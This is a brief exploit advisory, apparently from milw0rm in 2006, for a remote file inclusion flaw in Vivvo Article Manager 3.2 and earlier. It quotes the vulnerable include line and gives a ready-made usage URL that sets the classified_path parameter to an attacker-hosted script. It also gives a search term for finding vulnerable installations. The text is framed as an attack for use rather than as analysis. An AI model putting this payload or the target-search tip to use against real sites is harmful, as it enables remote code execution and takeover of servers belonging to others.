######################################################################### #MercilessTurk info@kahramanhost.com ######################################################################### #App Name: phpWordPress (Vivvo Article Manager) #App Author: vivvo.net #App Version: <=3.2 ######################################################################### #Vulnerable Code in HTML_function.php function HTML_Category_Menu() : #line 51: include_once($classified_path.'export_category.php'); #if register_globals = On then this code can include $_GET['classified_path'] #in index.php HTML_Category_Menu() function is called: #line 45: #$box_sections_HTML=HTML_Category_Menu(); ######################################################################### #Usage: #http://[target]/[path]/index.php?classified_path=http://[evil_script]? ######################################################################### #For google searching:Vivvo Article Manager ######################################################################### #Greetz: sanaldarbe.com members. ######################################################################### # milw0rm.com [2006-09-09]